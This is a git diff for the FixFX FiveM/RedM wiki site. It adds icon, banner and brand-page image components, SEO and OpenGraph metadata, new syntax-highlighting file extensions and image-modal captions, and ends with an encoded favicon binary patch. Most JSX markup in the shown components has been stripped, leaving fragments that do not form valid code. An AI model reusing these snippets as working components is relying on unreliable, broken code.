), { ...size, - }, + } ); } diff --git a/app/apple-icon.tsx b/app/apple-icon.tsx new file mode 100644 index 0000000..502967c --- /dev/null +++ b/app/apple-icon.tsx @@ -0,0 +1,91 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; +export const size = { + width: 180, + height: 180, +}; + +export const contentType = "image/png"; + +export default function AppleIcon() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs - scaled down */} +
+
+
+ + {/* FixFX Icon */} + + {/* First path */} + + + {/* Second path */} + + +
+ ), + { + ...size, + } + ); +} diff --git a/app/artifacts/layout.tsx b/app/artifacts/layout.tsx index 07f66cf..8b2498d 100644 --- a/app/artifacts/layout.tsx +++ b/app/artifacts/layout.tsx @@ -1,8 +1,18 @@ import { Metadata } from "next"; export const metadata: Metadata = { - title: 'Artifact Explorer', - description: 'Explore the CitizenFX artifacts for both GTA V AND RDR2', + title: 'FiveM & RedM Artifact Explorer', + description: 'Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds for Windows and Linux.', + keywords: ['FiveM artifacts', 'RedM artifacts', 'FXServer download', 'CitizenFX artifacts', 'FiveM server files', 'RedM server files'], + alternates: { + canonical: 'https://fixfx.wiki/artifacts', + }, + openGraph: { + title: 'FiveM & RedM Artifact Explorer | FixFX', + description: 'Browse and download FiveM and RedM server artifacts. Find recommended, latest, and stable builds.', + url: 'https://fixfx.wiki/artifacts', + type: 'website', + }, }; export default function ArtifactsLayout({ diff --git a/app/artifacts/opengraph-image.tsx b/app/artifacts/opengraph-image.tsx index fe62f1b..f2e1ebe 100644 --- a/app/artifacts/opengraph-image.tsx +++ b/app/artifacts/opengraph-image.tsx @@ -1,7 +1,7 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX Artifacts"; +export const alt = "FixFX Artifacts - FiveM & RedM Server Builds"; export const size = { width: 1200, height: 630, @@ -14,42 +14,166 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+ + {/* Icon */} +
- FixFX Artifacts + 📦
+ + {/* Main title */}
+ + Fix + + + FX + + + Artifacts + +
+ + {/* Subtitle */} +

+ Download FiveM and RedM server builds with version tracking +

+ + {/* Status badges */} +
- Access FiveM and RedM server artifacts +
+ ✓ Recommended +
+
+ Latest +
+
+ Active +
), { ...size, - }, + } ); } diff --git a/app/artifacts/twitter-image.tsx b/app/artifacts/twitter-image.tsx index 7176bc4..a9e1af4 100644 --- a/app/artifacts/twitter-image.tsx +++ b/app/artifacts/twitter-image.tsx @@ -1,10 +1,10 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX Artifacts"; +export const alt = "FixFX Artifacts - FiveM & RedM Server Builds"; export const size = { - width: 506, - height: 506, + width: 1200, + height: 630, }; export const contentType = "image/png"; @@ -14,41 +14,87 @@ export default function Image() { (
+ {/* Background gradient orb */}
+ + {/* Icon */} +
- FixFX + 📦
+ + {/* Main title */}
- Artifacts + + Fix + + + FX +
+ + {/* Subtitle */} +

+ Artifacts +

), { ...size, - }, + } ); } diff --git a/app/banner-wide/route.tsx b/app/banner-wide/route.tsx new file mode 100644 index 0000000..64d54c9 --- /dev/null +++ b/app/banner-wide/route.tsx @@ -0,0 +1,114 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; + +export async function GET() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs - spread horizontally for wide banner */} +
+
+
+
+
+ + {/* Subtle grid pattern overlay */} +
+ + {/* Subtle gradient overlays */} +
+
+
+ ), + { + width: 2560, + height: 720, + } + ); +} diff --git a/app/banner/route.tsx b/app/banner/route.tsx new file mode 100644 index 0000000..10a8627 --- /dev/null +++ b/app/banner/route.tsx @@ -0,0 +1,114 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; + +export async function GET() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs */} +
+
+
+
+
+ + {/* Subtle grid pattern overlay */} +
+ + {/* Subtle noise texture simulation with dots */} +
+
+
+ ), + { + width: 1920, + height: 1080, + } + ); +} diff --git a/app/brand/page.tsx b/app/brand/page.tsx new file mode 100644 index 0000000..c0cd275 --- /dev/null +++ b/app/brand/page.tsx @@ -0,0 +1,127 @@ +"use client"; + +import { FixFXIcon } from "@ui/icons"; +import { Download } from "lucide-react"; + +export default function BrandPage() { + return ( +
+ {/* Background gradient orbs - adjusted for mobile */} +
+
+
+ + {/* Content */} +
+ {/* Icon */} +
+ +
+ + {/* Title */} +
+ + Fix + + + FX + +
+ + {/* Subtitle */} +

+ Your comprehensive resource for FiveM, RedM, and the CitizenFX ecosystem. +

+ + {/* Brand Guidelines */} +
+

Brand Guidelines

+ + {/* Color Palette */} +
+

Primary Colors

+
+
+
+ #2563EB +
+
+
+ #3B82F6 +
+
+
+ #06B6D4 +
+
+
+ #0A0A0F +
+
+
+ + {/* Typography */} +
+

Typography

+
+

+ Font Family: Inter, system-ui, sans-serif +

+

+ Logo Text: "Fix" in gradient, "FX" in foreground +

+
+
+ + {/* Usage Notes */} +
+

Usage Notes

+
    +
  • + + Use the icon on dark backgrounds for best visibility +
  • +
  • + + Maintain minimum padding around the logo +
  • +
  • + + Do not distort or rotate the logo +
  • +
  • + + Do not change the gradient colors +
  • +
+
+
+ + {/* Download buttons */} + + + {/* SVG Download */} +

+ Need a different format? Contact us for SVG or other formats. +

+
+
+ ); +} diff --git a/app/chat/layout.tsx b/app/chat/layout.tsx index 8a0933d..a1afd33 100644 --- a/app/chat/layout.tsx +++ b/app/chat/layout.tsx @@ -1,9 +1,18 @@ import { Metadata } from "next"; export const metadata: Metadata = { - title: 'Fixie - AI Assistant', - description: 'Your intelligent AI assistant for the CitizenFX ecosystem. Get help with FiveM, RedM, txAdmin, server configuration, Lua scripting, and more.', - keywords: ['FiveM', 'RedM', 'txAdmin', 'CitizenFX', 'AI Assistant', 'Lua', 'Server Development'], + title: 'Fixie AI - FiveM & RedM Assistant', + description: 'AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, server configuration, and troubleshooting.', + keywords: ['FiveM AI', 'RedM AI', 'txAdmin help', 'CitizenFX assistant', 'Lua scripting help', 'FiveM support', 'server development help'], + alternates: { + canonical: 'https://fixfx.wiki/chat', + }, + openGraph: { + title: 'Fixie AI - FiveM & RedM Assistant | FixFX', + description: 'AI-powered assistant for FiveM and RedM development. Get instant help with Lua scripting, txAdmin setup, and more.', + url: 'https://fixfx.wiki/chat', + type: 'website', + }, }; export default function AskLayout({ diff --git a/app/chat/opengraph-image.tsx b/app/chat/opengraph-image.tsx index 67997ab..3cb4538 100644 --- a/app/chat/opengraph-image.tsx +++ b/app/chat/opengraph-image.tsx @@ -1,7 +1,7 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX Chat"; +export const alt = "FixFX Chat - AI-Powered FiveM Assistant"; export const size = { width: 1200, height: 630, @@ -14,42 +14,136 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+ + {/* Icon */} +
- FixFX Chat + 🤖
+ + {/* Main title */}
+ + Fix + + + FX + + + Chat + +
+ + {/* Subtitle */} +

+ AI-powered assistant for FiveM and RedM development +

+ + {/* Badge */} +
- AI-powered assistance for FiveM development +
+ + Powered by AI +
), { ...size, - }, + } ); } diff --git a/app/chat/twitter-image.tsx b/app/chat/twitter-image.tsx index 7113770..c7be150 100644 --- a/app/chat/twitter-image.tsx +++ b/app/chat/twitter-image.tsx @@ -1,10 +1,10 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX Chat"; +export const alt = "FixFX Chat - AI-Powered FiveM Assistant"; export const size = { - width: 506, - height: 506, + width: 1200, + height: 630, }; export const contentType = "image/png"; @@ -14,41 +14,87 @@ export default function Image() { (
+ {/* Background gradient orb */}
+ + {/* Icon */} +
- FixFX + 🤖
+ + {/* Main title */}
- Chat + + Fix + + + FX +
+ + {/* Subtitle */} +

+ Chat +

), { ...size, - }, + } ); } diff --git a/app/components/file-source.tsx b/app/components/file-source.tsx index 2b2bff7..06cb9fe 100644 --- a/app/components/file-source.tsx +++ b/app/components/file-source.tsx @@ -4,7 +4,7 @@ import { useEffect, useState } from 'react';import { API_URL } from "@/packages/ interface FileSourceProps { filePath: string; - title?: string; + title?: string | { text: string; href: string }; } const languageMap: Record = { @@ -24,6 +24,20 @@ const languageMap: Record = { '.bash': 'bash', '.sql': 'sql', '.lua': 'lua', + '.go': 'go', + '.mod': 'go', + '.sum': 'text', + '.py': 'python', + '.rb': 'ruby', + '.java': 'java', + '.cs': 'csharp', + '.cpp': 'cpp', + '.c': 'c', + '.h': 'c', + '.hpp': 'cpp', + '.xml': 'xml', + '.toml': 'toml', + '.env': 'bash', }; function getLanguage(filePath: string): string { diff --git a/app/components/image-modal.tsx b/app/components/image-modal.tsx index 41bd532..c6ea3fd 100644 --- a/app/components/image-modal.tsx +++ b/app/components/image-modal.tsx @@ -10,9 +10,11 @@ interface ImageModalProps { title?: string; width?: number; height?: number; + className?: string; + caption?: string; } -export function ImageModal({ src, alt, title, width, height }: ImageModalProps) { +export function ImageModal({ src, alt, title, width, height, className, caption }: ImageModalProps) { const [isOpen, setIsOpen] = useState(false); const [mounted, setMounted] = useState(false); @@ -122,11 +124,11 @@ export function ImageModal({ src, alt, title, width, height }: ImageModalProps) ); return ( - <> +
{/* Thumbnail */} + + {/* Caption */} + {caption && ( +
+ {caption} +
+ )} {/* Portal to body */} {mounted && isOpen && createPortal(modal, document.body)} - +
); } diff --git a/app/docs-og/[...slug]/route.tsx b/app/docs-og/[...slug]/route.tsx index 8702edb..0bec07b 100644 --- a/app/docs-og/[...slug]/route.tsx +++ b/app/docs-og/[...slug]/route.tsx @@ -8,6 +8,8 @@ export const GET = metadataImage.createAPI((page) => { title: page.data.title, description: page.data.description, site: "FixFX", + primaryColor: "#3b82f6", + primaryTextColor: "#f8fafc", }); }); diff --git a/app/favicon.ico b/app/favicon.ico index 92389deed5b7bad578ed1bdaecff950f20882efc..fbfb4fa5854a6fa69a1b17c75d84b4ae70477ce5 100644 GIT binary patch literal 37294 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 